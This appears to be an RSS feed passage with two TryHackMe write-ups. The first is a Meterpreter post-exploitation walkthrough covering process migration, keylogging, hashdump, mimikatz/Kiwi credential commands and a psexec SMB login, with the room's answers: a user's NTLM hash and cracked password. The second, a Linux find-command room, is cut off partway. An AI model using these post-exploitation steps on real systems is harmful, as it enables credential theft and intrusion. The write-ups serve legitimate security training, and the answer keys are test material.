the getpid command, which returns the process ID with which Meterpreter is running.</p><p>The process ID (or process identifier) is used by operating systems to identify running processes. All processes running in Linux or Windows will have a unique ID number; this number is used to interact with the process when the need arises (e.g. if it needs to be stopped).</p><pre>meterpreter &gt; getpid <br>Current pid: 1304</pre><p>If we list processes running on the target system using the ps command, we see PID 1304 is spoolsv.exe and not Meterpreter.exe, as one might expect.</p><pre>meterpreter &gt; ps</pre><pre>Process List<br>============<br> PID   PPID  Name                  Arch  Session  User                          Path<br> ---   ----  ----                  ----  -------  ----                          ----<br> 0     0     [System Process]                                                   <br> 4     0     System                x64   0                                      <br> 396   644   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe<br> 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe<br> 428   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           <br> 548   540   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe<br> 596   540   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe<br> 604   588   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe<br> 644   588   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe<br> 692   596   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe<br> 700   692   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  <br> 716   596   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe  1276  1304  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe<br> 1304  692   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe<br> 1340  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    <br> 1388  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe</pre><p>Even if we were to go a step further and look at DLLs (Dynamic-Link Libraries) used by the Meterpreter process (PID 1304 in this case), we still would not find anything jumping at us (e.g. no meterpreter.dll)</p><p>TheMeterpreterprocess</p><pre>C:\Windows\system32&gt;tasklist /m /fi &quot;pid eq 1304&quot;<br>tasklist /m /fi &quot;pid eq 1304&quot;</pre><pre>Image Name                     PID Modules                                     <br>========================= ======== ============================================<br>spoolsv.exe                   1304 ntdll.dll, kernel32.dll, KERNELBASE.dll,    <br>                                   msvcrt.dll, sechost.dll, RPCRT4.dll,        <br>                                   USER32.dll, GDI32.dll, LPK.dll, USP10.dll,  <br>                                   POWRPROF.dll, SETUPAPI.dll, CFGMGR32.dll,   <br>                                   ADVAPI32.dll, OLEAUT32.dll, ole32.dll,      <br>                                   DEVOBJ.dll, DNSAPI.dll, WS2_32.dll,         <br>                                   NSI.dll, IMM32.DLL, MSCTF.dll,              <br>                                   CRYPTBASE.dll, slc.dll, RpcRtRemote.dll,    <br>                                   secur32.dll, SSPICLI.DLL, credssp.dll,      <br>                                   IPHLPAPI.DLL, WINNSI.DLL, mswsock.dll,      <br>                                   wshtcpip.dll, wship6.dll, rasadhlp.dll,     <br>                                   fwpuclnt.dll, CLBCatQ.DLL, umb.dll,         <br>                                   ATL.DLL, WINTRUST.dll, CRYPT32.dll,         <br>                                   MSASN1.dll, localspl.dll, SPOOLSS.DLL,      <br>                                   srvcli.dll, winspool.drv,                   <br>                                   PrintIsolationProxy.dll, FXSMON.DLL,        <br>                                   tcpmon.dll, snmpapi.dll, wsnmp32.dll,       <br>                                   msxml6.dll, SHLWAPI.dll, usbmon.dll,        <br>                                   wls0wndh.dll, WSDMon.dll, wsdapi.dll,       <br>                                   webservices.dll, FirewallAPI.dll,           <br>                                   VERSION.dll, FunDisc.dll, fdPnp.dll,        <br>                                   winprint.dll, USERENV.dll, profapi.dll,     <br>                                   GPAPI.dll, dsrole.dll, win32spl.dll,        <br>                                   inetpp.dll, DEVRTL.dll, SPINF.dll,          <br>                                   CRYPTSP.dll, rsaenh.dll, WINSTA.dll,        <br>                                   cscapi.dll, netutils.dll, WININET.dll,      <br>                                   urlmon.dll, iertutil.dll, WINHTTP.dll,      <br>                                   webio.dll, SHELL32.dll, MPR.dll,            <br>                                   NETAPI32.dll, wkscli.dll, PSAPI.DLL,        <br>                                   WINMM.dll, dhcpcsvc6.DLL, dhcpcsvc.DLL,     <br>                                   apphelp.dll, NLAapi.dll, napinsp.dll,       <br>                                   pnrpnsp.dll, winrnr.dll                     <br>C:\Windows\system32&gt;</pre><p>Techniques and tools that can be used to detect Meterpreter are beyond the scope of this room. This section aimed to show you how stealthy Meterpreter is running; remember, most antivirus software will detect it.</p><p>It is also worth noting that Meterpreter will establish an encrypted (TLS) communication channel with the attacker’s system.</p><p>No answer needed</p><h3>Task 2: Meterpreter Flavors</h3><p>As discussed in the previous Metasploit rooms, linked below, Metasploit payloads can be initially divided into two categories; inline (also called single) and staged.</p><p>Introduction to Metasploit: <a href="https://www.tryhackme.com/jr/metasploitintro">https://www.tryhackme.com/jr/metasploitintro</a></p><p>Scanning and Exploitation with Metasploit: <a href="https://www.tryhackme.com/jr/metasploitexploitation">https://www.tryhackme.com/jr/metasploitexploitation</a></p><p>As you will remember, staged payloads are sent to the target in two steps. An initial part is installed (the stager) and requests the rest of the payload. This allows for a smaller initial payload size. The inline payloads are sent in a single step. Meterpreter payloads are also divided into stagged and inline versions. However, Meterpreter has a wide range of different versions you can choose from based on your target system.</p><p>The easiest way to have an idea about available Meterpreter versions could be to list them using msfvenom, as seen below.</p><p>We have used the msfvenom --list payloads command and grepped &quot;meterpreter&quot; payloads (adding | grep meterpreter to the command line), so the output only shows these. You can try this command on the AttackBox.</p><pre>root@ip-10-10-186-44:~# msfvenom --list payloads | grep meterpreter<br>    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP<br>    android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS<br>    android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager<br>    android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell<br>    android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell<br>    android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell<br>    apple_ios/aarch64/meterpreter_reverse_http          Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/aarch64/meterpreter_reverse_https         Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/aarch64/meterpreter_reverse_tcp           Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_http            Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_https           Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_tcp             Run the Meterpreter / Mettle server payload (stageless)<br>    java/meterpreter/bind_tcp                           Run a meterpreter server in Java. Listen for a connection<br>    java/meterpreter/reverse_http                       Run a meterpreter server in Java. Tunnel communication over HTTP<br>    java/meterpreter/reverse_https                      Run a meterpreter server in Java. Tunnel communication over HTTPS<br>    java/meterpreter/reverse_tcp                        Run a meterpreter server in Java. Connect back stager<br>    linux/aarch64/meterpreter/reverse_tcp               Inject the mettle server payload (staged). Connect back to the attacker<br>    linux/aarch64/meterpreter_reverse_http              Run the Meterpreter / Mettle server payload (stageless)<br>    linux/aarch64/meterpreter_reverse_https             Run the Meterpreter / Mettle server payload (stageless)<br>    linux/aarch64/meterpreter_reverse_tcp               Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armbe/meterpreter_reverse_http                Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armbe/meterpreter_reverse_https               Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armbe/meterpreter_reverse_tcp                 Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armle/meterpreter/bind_tcp                    Inject the mettle server payload (staged). Listen for a connection<br>    linux/armle/meterpreter/reverse_tcp                 Inject the mettle server payload (staged). Connect back to the attacker [...]</pre><p>The list will show Meterpreter versions available for the following platforms;</p><ul><li>Android</li><li>Apple iOS</li><li>Java</li><li>Linux</li><li>OSX</li><li>PHP</li><li>Python</li><li>Windows</li></ul><p>Your decision on which version of Meterpreter to use will be mostly based on three factors;</p><ul><li>The target operating system (Is the target operating system Linux or Windows? Is it a Mac device? Is it an Android phone? etc.)</li><li>Components available on the target system (Is Python installed? Is this a PHP website? etc.)</li><li>Network connection types you can have with the target system (Do they allow raw TCP connections? Can you only have an HTTPS reverse connection? Are IPv6 addresses not as closely monitored as IPv4 addresses? etc.)</li></ul><p>If you are not using Meterpreter as a standalone payload generated by Msfvenom, your choice may also be limited by the exploit. You will notice some exploits will have a default Meterpreter payload, as you can see in the example below with the ms17_010_eternalblue exploit.</p><pre>msf6 &gt; use exploit/windows/smb/ms17_010_eternalblue <br>[*] Using configured payload windows/x64/meterpreter/reverse_tcp<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>You can also list other available payloads using the show payloads command with any module.</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show payloads </pre><pre>Compatible Payloads<br>===================<br>   #   Name                                        Disclosure Date  Rank    Check  Description<br>   -   ----                                        ---------------  ----    -----  -----------<br>   0   generic/custom                                               manual  No     Custom Payload<br>   1   generic/shell_bind_tcp                                       manual  No     Generic Command Shell, Bind TCP Inline<br>   2   generic/shell_reverse_tcp                                    manual  No     Generic Command Shell, Reverse TCP Inline<br>   3   windows/x64/exec                                             manual  No     Windows x64 Execute Command<br>   4   windows/x64/loadlibrary                                      manual  No     Windows x64 LoadLibrary Path<br>   5   windows/x64/messagebox                                       manual  No     Windows MessageBox x64<br>   6   windows/x64/meterpreter/bind_ipv6_tcp                        manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager<br>   7   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support<br>   8   windows/x64/meterpreter/bind_named_pipe                      manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager [...]</pre><p>No answer needed for this room.</p><h3>Task 3: Meterpreter Commands</h3><p>Typing help on any Meterpreter session (shown by meterpreter&gt; at the prompt) will list all available commands.</p><pre>meterpreter &gt; help</pre><pre>Core Commands<br>=============<br>    Command                   Description<br>    -------                   -----------<br>    ?                         Help menu<br>    background                Backgrounds the current session<br>    bg                        Alias for background<br>    bgkill                    Kills a background meterpreter script<br>    bglist                    Lists running background scripts<br>    bgrun                     Executes a meterpreter script as a background thread<br>    channel                   Displays information or control active channels<br>    close                     Closes a channel[...]</pre><p>Every version of Meterpreter will have different command options, so running the help command is always a good idea. Commands are built-in tools available on Meterpreter. They will run on the target system without loading any additional script or executable files.</p><p>Meterpreter will provide you with three primary categories of tools;</p><ul><li>Built-in commands</li><li>Meterpreter tools</li><li>Meterpreter scripting</li></ul><p>If you run the help command, you will see Meterpreter commands are listed under different categories.</p><ul><li>Core commands</li><li>File system commands</li><li>Networking commands</li><li>System commands</li><li>User interface commands</li><li>Webcam commands</li><li>Audio output commands</li><li>Elevate commands</li><li>Password database commands</li><li>Timestomp commands</li></ul><p>Please note that the list above was taken from the output of the help command on the Windows version of Meterpreter (windows/x64/meterpreter/reverse_tcp). These will be different for other Meterpreter versions.</p><p><strong>Meterpreter commands</strong></p><p>Core commands will be helpful to navigate and interact with the target system. Below are some of the most commonly used. Remember to check all available commands running the help command once a Meterpreter session has started.</p><p>Core commands</p><ul><li>background: Backgrounds the current session</li><li>exit: Terminate the Meterpreter session</li><li>guid: Get the session GUID (Globally Unique Identifier)</li><li>help: Displays the help menu</li><li>info: Displays information about a Post module</li><li>irb: Opens an interactive Ruby shell on the current session</li><li>load: Loads one or more Meterpreter extensions</li><li>migrate: Allows you to migrate Meterpreter to another process</li><li>run: Executes a Meterpreter script or Post module</li><li>sessions: Quickly switch to another session</li></ul><p>File system commands</p><ul><li>cd: Will change directory</li><li>ls: Will list files in the current directory (dir will also work)</li><li>pwd: Prints the current working directory</li><li>edit: will allow you to edit a file</li><li>cat: Will show the contents of a file to the screen</li><li>rm: Will delete the specified file</li><li>search: Will search for files</li><li>upload: Will upload a file or directory</li><li>download: Will download a file or directory</li></ul><p>Networking commands</p><ul><li>arp: Displays the host ARP (Address Resolution Protocol) cache</li><li>ifconfig: Displays network interfaces available on the target system</li><li>netstat: Displays the network connections</li><li>portfwd: Forwards a local port to a remote service</li><li>route: Allows you to view and modify the routing table</li></ul><p>System commands</p><ul><li>clearev: Clears the event logs</li><li>execute: Executes a command</li><li>getpid: Shows the current process identifier</li><li>getuid: Shows the user that Meterpreter is running as</li><li>kill: Terminates a process</li><li>pkill: Terminates processes by name</li><li>ps: Lists running processes</li><li>reboot: Reboots the remote computer</li><li>shell: Drops into a system command shell</li><li>shutdown: Shuts down the remote computer</li><li>sysinfo: Gets information about the remote system, such as OS</li></ul><p>Others Commands (these will be listed under different menu categories in the help menu)</p><ul><li>idletime: Returns the number of seconds the remote user has been idle</li><li>keyscan_dump: Dumps the keystroke buffer</li><li>keyscan_start: Starts capturing keystrokes</li><li>keyscan_stop: Stops capturing keystrokes</li><li>screenshare: Allows you to watch the remote user&#39;s desktop in real time</li><li>screenshot: Grabs a screenshot of the interactive desktop</li><li>record_mic: Records audio from the default microphone for X seconds</li><li>webcam_chat: Starts a video chat</li><li>webcam_list: Lists webcams</li><li>webcam_snap: Takes a snapshot from the specified webcam</li><li>webcam_stream: Plays a video stream from the specified webcam</li><li>getsystem: Attempts to elevate your privilege to that of local system</li><li>hashdump: Dumps the contents of the SAM database</li></ul><p>Although all these commands may seem available under the help menu, they may not all work. For example, the target system might not have a webcam, or it can be running on a virtual machine without a proper desktop environment.</p><p>No answer needed</p><h3>Task 4: Post-Exploitation with Meterpreter</h3><p>Meterpreter provides you with many useful commands that facilitate the post-exploitation phase. Below are a few examples you will often use.</p><p><strong>Help</strong></p><p>This command will give you a list of all available commands in Meterpreter. As we have seen earlier, Meterpreter has many versions, and each version may have different options available. Typing help once you have a Meterpreter session will help you quickly browse through available commands.</p><pre>meterpreter &gt; help</pre><pre>Core Commands<br>=============<br>    Command                   Description<br>    -------                   -----------<br>    ?                         Help menu<br>    background                Backgrounds the current session<br>    bg                        Alias for background<br>    bgkill                    Kills a background meterpreter script<br>    bglist                    Lists running background scripts<br>    bgrun                     Executes a meterpreter script as a background thread<br>    channel                   Displays information or control active channels<br>    close                     Closes a channel[...]</pre><p><strong>Meterpreter commands</strong></p><p>The getuid command will display the user with which Meterpreter is currently running. This will give you an idea of your possible privilege level on the target system (e.g. Are you an admin level user like NT AUTHORITY\SYSTEM or a regular user?)</p><pre>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM<br>meterpreter &gt;</pre><p>The ps command will list running processes. The PID column will also give you the PID information you will need to migrate Meterpreter to another process.</p><pre>meterpreter &gt; ps</pre><pre>Process List<br>============<br> PID   PPID  Name                  Arch  Session  User                          Path<br> ---   ----  ----                  ----  -------  ----                          ----<br> 0     0     [System Process]                                                   <br> 4     0     System                x64   0                                      <br> 396   644   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe<br> 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe<br> 428   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           <br> 548   540   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe<br> 596   540   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe<br> 604   588   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe<br> 644   588   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe<br> 692   596   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe<br> 700   692   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  <br> 716   596   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe<br> 724   596   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsm.exe<br> 764   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           <br> 828   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           <br> 864   828   WmiPrvSE.exe                                                       <br> 900   692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  <br> 952   692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    <br> 1076  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    <br> 1164  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe<br> 1168  692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  <br> 1244  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe<br> 1276  1304  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe<br> 1304  692   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe<br> 1340  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    <br> 1388  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe[...]</pre><p><strong>Migrate</strong></p><p>Migrating to another process will help Meterpreter interact with it. For example, if you see a word processor running on the target (e.g. word.exe, notepad.exe, etc.), you can migrate to it and start capturing keystrokes sent by the user to this process. Some Meterpreter versions will offer you the keyscan_start, keyscan_stop, and keyscan_dump command options to make Meterpreter act like a keylogger. Migrating to another process may also help you to have a more stable Meterpreter session.</p><p>To migrate to any process, you need to type the migrate command followed by the PID of the desired target process. The example below shows Meterpreter migrating to process ID 716.</p><pre>meterpreter &gt; migrate 716<br>[*] Migrating from 1304 to 716...<br>[*] Migration completed successfully.<br>meterpreter &gt;</pre><p>Be careful; you may lose your user privileges if you migrate from a higher privileged (e.g. SYSTEM) user to a process started by a lower privileged user (e.g. webserver). You may not be able to gain them back.</p><p><strong>Hashdump</strong></p><p>The hashdump command will list the content of the SAM database. The SAM (Security Account Manager) database stores user&#39;s passwords on Windows systems. These passwords are stored in the NTLM (New Technology LAN Manager) format.</p><pre>meterpreter &gt; hashdump<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::<br>meterpreter &gt;</pre><p>While it is not mathematically possible to “crack” these hashes, you may still discover the cleartext password using online NTLM databases or a rainbow table attack. These hashes can also be used in Pass-the-Hash attacks to authenticate to other systems that these users can access the same network.</p><p><strong>Search</strong></p><p>The search command is useful to locate files with potentially juicy information. In a CTF context, this can be used to quickly find a flag or proof file, while in actual penetration testing engagements, you may need to search for user-generated files or configuration files that may contain password or account information.</p><pre>meterpreter &gt; search -f flag2.txt<br>Found 1 result...<br>    c:\Windows\System32\config\flag2.txt (34 bytes)<br>meterpreter &gt;</pre><p><strong>Shell</strong></p><p>The shell command will launch a regular command-line shell on the target system. Pressing CTRL+Z will help you go back to the Meterpreter shell.</p><pre>meterpreter &gt; shell<br>Process 2124 created.<br>Channel 1 created.<br>Microsoft Windows [Version 6.1.7601]<br>Copyright (c) 2009 Microsoft Corporation.  All rights reserved.</pre><pre>C:\Windows\system32&gt;</pre><p>No answer needed for this room</p><h3>Task 5: Post-Exploitation Challenge</h3><p>Commands mentioned previously, such as getsystem and hashdump will provide important leverage and information for privilege escalation and lateral movement. Meterpreter is also a good base you can use to run post-exploitation modules available on the Metasploit framework. Finally, you can also use the <strong>load </strong>command to leverage additional tools such as Kiwi or even the whole Python language.</p><pre>meterpreter &gt; load python<br>Loading extension python...Success.<br>meterpreter &gt; python_execute &quot;print &#39;TryHackMe Rocks!&#39;&quot;<br>[+] Content written to stdout:<br>TryHackMe Rocks!</pre><pre>meterpreter &gt;</pre><p>The post-exploitation phase will have several goals; Meterpreter has functions that can assist all of them.</p><ul><li>Gathering further information about the target system.</li><li>Looking for interesting files, user credentials, additional network interfaces, and generally interesting information on the target system.</li><li>Privilege escalation.</li><li>Lateral movement.</li></ul><p>Once any additional tool is loaded using the load command, you will see new options on the help menu. The example below shows commands added for the Kiwi module (using the load kiwi command).</p><pre>meterpreter &gt; load kiwi<br>Loading extension kiwi...<br>  .#####.   mimikatz 2.2.0 20191125 (x64/windows)<br> .## ^ ##.  &quot;A La Vie, A L&#39;Amour&quot; - (oe.eo)<br> ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )<br> ## \ / ##       &gt; http://blog.gentilkiwi.com/mimikatz<br> &#39;## v ##&#39;        Vincent LE TOUX            ( vincent.letoux@gmail.com )<br>  &#39;#####&#39;         &gt; http://pingcastle.com / http://mysmartlogon.com  ***/</pre><pre>Success.</pre><p>These will change according to the loaded menu, so running the help command after loading a module is always a good idea.</p><pre>Kiwi Commands<br>=============</pre><pre>Command                Description<br>    -------                -----------<br>    creds_all              Retrieve all credentials (parsed)<br>    creds_kerberos         Retrieve Kerberos creds (parsed)<br>    creds_msv              Retrieve LM/NTLM creds (parsed)<br>    creds_ssp              Retrieve SSP creds<br>    creds_tspkg            Retrieve TsPkg creds (parsed)<br>    creds_wdigest          Retrieve WDigest creds (parsed)<br>    dcsync                 Retrieve user account information via DCSync (unparsed)<br>    dcsync_ntlm            Retrieve user account NTLM hash, SID and RID via DCSync<br>    golden_ticket_create   Create a golden kerberos ticket<br>    kerberos_ticket_list   List all kerberos tickets (unparsed)<br>    kerberos_ticket_purge  Purge any in-use kerberos tickets<br>    kerberos_ticket_use    Use a kerberos ticket<br>    kiwi_cmd               Execute an arbitary mimikatz command (unparsed)<br>    lsa_dump_sam           Dump LSA SAM (unparsed)<br>    lsa_dump_secrets       Dump LSA secrets (unparsed)<br>    password_change        Change the password/hash of a user<br>    wifi_list              List wifi profiles/creds for the current user<br>    wifi_list_shared       List shared wifi profiles/creds (requires SYSTEM</pre><p>The questions below will help you have a better understanding of how Meterpreter can be used in post-exploitation.</p><p>You can use the credentials below to simulate an initial compromise over SMB (Server Message Block) (using exploit/windows/smb/psexec)</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/0*SGZI_ymR8GmaHCXJ.png" /></figure><p>set RHOSTS TARGET_IP</p><p>set SMBUser Username</p><p>set SMBPass Password</p><p>then run</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/0*ceeF8uVKBlZ4cdZ_.png" /></figure><p>Q1:What is the computer name?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/0*Z4YC5tDio9jrs3QS.png" /></figure><pre>ACME-TEST</pre><p>Q2:What is the target domain?</p><pre>FLASH</pre><p>Q3:What is the name of the share likely created by the user?</p><p>If you see meterpeter command line, type background then search smb share</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/0*Kd6zxcpH2A9tVgJc.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/0*Ad7ABmg631on-al1.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/0*yuT5g96Hn4isXfo8.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/0*PCzOZjAi3JdITrJH.png" /></figure><pre>speedster</pre><p>Q4:What is the NTLM hash of the jchambers user?</p><p>We need to get back to meterpreter. type sessions -i 1</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/0*-bkOoyaYpu1Zhxs2.png" /></figure><pre>69596c7aa1e8daee17f8e78870e25a5c</pre><p>Q5:What is the cleartext password of the jchambers user?</p><p>Go to <a href="https://crackstation.net/">https://crackstation.net/</a></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*0b94_ls3zCHL7P3H.png" /></figure><pre>Trustno1</pre><p>Q6:Where is the “secrets.txt” file located? (Full path of the file)</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/0*RxuGTQzLF36y02Vu.png" /></figure><pre>c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt</pre><p>Q7:What is the Twitter password revealed in the “secrets.txt” file?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*0EYYkKhv98C_lf-w.png" /></figure><pre>KDSvbsw3849!</pre><p>Q8:Where is the “realsecret.txt” file located? (Full path of the file)</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*gZdrg2KQSt77EjxX.png" /></figure><pre>c:\inetpub\wwwroot\realsecret.txt</pre><p>Q9:What is the real secret?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/0*YTJI14MqYnOeqk0F.png" /></figure><pre>The Flash is the fastest man alive</pre><pre>The Flash is the fastest man alive</pre><p>— — —</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a3783b7a0b5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ninja Skills room of TryHackMe — Writeup.]]></title>
            <link>https://medium.com/@sonalblue/ninja-skills-room-of-tryhackme-writeup-c3c7a86981ff?source=rss-b61984778fce------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3c7a86981ff</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Sonal]]></dc:creator>
            <pubDate>Mon, 09 Nov 2026 13:44:42 GMT</pubDate>
            <atom:updated>2026-11-09T13:44:42.333Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is my write-up for the ‘Ninja Skills’ room found on </em><a href="https://hackthebox.eu/"><em>T</em></a>ryHackMe<em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tVtsFbLlRE0lOJ8moGFVGg.png" /></figure><p><strong><em>Room Link </em></strong><em>— </em><a href="https://tryhackme.com/room/ninjaskills"><em>https://tryhackme.com/room/ninjaskills</em></a></p><p>This room can be solved in several ways, but today I’ll be showing you a simpler and easier approach. We’ll primarily use the find command, which also allows us to execute various other commands alongside it.</p><p><strong><em>Syntax to be used</em></strong><em> — find &lt;/directory&gt;&lt;file-name&gt; -exec &lt;command&gt; {} \; 2&gt;/dev/null</em></p><p><strong>Note: <em>2</em></strong><em>&gt;/</em><strong><em>dev</em></strong><em>/</em><strong><em>null</em></strong><em> </em>will filter out the errors so that they will not be output to your console.</p><h3>Task 1 — Ninja Skills</h3><p>Answer the questions about the following files:</p><p><em>8V2L</em></p><p><em>bny0</em></p><p><em>c4ZX</em></p><p><em>D8B3</em></p><p><em>FHl1</em></p><p><em>oiMO</em></p><p><em>PFbD</em></p><p><em>rmfX</em></p><p><em>SRSq</em></p><p><em>uqyw</em></p><p><em>v2Vb</em></p><p><em>X1Uy</em></p><p>The aim is to answer the questions as efficiently as possible.</p><p>Deploy the room and connect to it by ssh port with given credentials (<strong>new-user</strong> as the username and password.)</p><p><strong><em>ssh new-user@10.10.224.38</em></strong></p><p>So let’s find the location of all the files first.</p><p><strong><em>find / -type f \( -name 8V2L -o -name bny0 -o -name c4ZX -o -name D8B3 -o -name FHl1 -o -name oiM0 -o -name PFbD -o -name rmfX -o -name SRSq -o -name uqyw -o -name v2Vb -o -name X1Uy \) 2&gt;/dev/null</em></strong></p><p>Interpretation of the command above:</p><ol><li>/ means the Root directory</li><li>-type option is used to specify the file type and here, we are searching for regular files as represented by f</li><li>-name option is used to specify a search pattern in this case, the file extensions</li><li>-o means “OR”</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JCWLVlB2bQ1zLx2Q.png" /></figure><p>Let’s start solving questions…</p><h3>#1. Which of the above files are owned by the best-group group (enter the answer separated by spaces in alphabetical order)</h3><p>Here, we have to use long-listing to see the file owner and group.</p><p><strong><em>-exec ls -l</em></strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0S5JC_g8CXaq5grs.png" /></figure><p>Answer : D8B3 v2Vb</p><h3>#2. Which of these files contain an IP address?</h3><p>Here, we have to use regex to match the IP address format with the contents of all files. Use this <a href="https://www.shellhacks.com/regex-find-ip-addresses-file-grep/">link</a> for help.</p><p><strong><em>exec grep -E -o “([0–9]{1,3}[\.]){3}[0–9]{1,3}”</em></strong></p><p><em>[used to print the IP address from the files]</em></p><p><strong><em>exec grep -E -o “([0–9]{1,3}[\.]){3}[0–9]{1,3}” *</em></strong></p><p><em>[used to print the IP address with file name and directory]</em></p><p>We are using regular expressions to find the solution easily.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*m5gpEbPSBRRFEpUm.png" /></figure><p>Answer: oiMO</p><h3>#3. Which file has the SHA1 hash of 9d54da7584015647ba052173b84d45e8007eba94?</h3><p>Here, we can calculate the SHA1 